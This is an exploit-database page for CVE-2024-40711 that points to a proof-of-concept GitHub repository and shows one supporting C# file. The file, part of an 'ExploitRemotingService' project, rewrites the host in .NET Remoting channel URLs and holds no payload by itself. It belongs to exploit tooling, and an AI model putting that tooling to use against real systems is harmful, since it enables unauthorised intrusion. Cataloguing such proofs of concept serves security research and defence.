Exploit database

GH-1fc3fc563671f2a82bf8b7ea98bf58b1

watchtowrlabs/cve-2024-40711

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-40711

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files17

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

ExploitRemotingService-master/ExploitRemotingService/ChannelUriFixingClientChannelSinkProvider.cs

C# · 952 bytes
using System;
using System.Runtime.Remoting.Channels;

namespace ExploitRemotingService
{
    internal class ChannelUriFixingClientChannelSinkProvider : IClientChannelSinkProvider
    {
        private readonly string publicHost;

        public IClientChannelSinkProvider Next { get; set; }

        public ChannelUriFixingClientChannelSinkProvider(string publicHost)
        {
            this.publicHost = publicHost;
        }

        public IClientChannelSink CreateSink(IChannelSender channel, string url, object remoteChannelData)
        {
            IClientChannelSink clientChannelSink = null;
            if (this.Next != null)
            {
                url = new UriBuilder(url)
                {
                    Host = this.publicHost,
                }.ToString();
                clientChannelSink = this.Next.CreateSink(channel, url, remoteChannelData);
            }
            return clientChannelSink;
        }
    }
}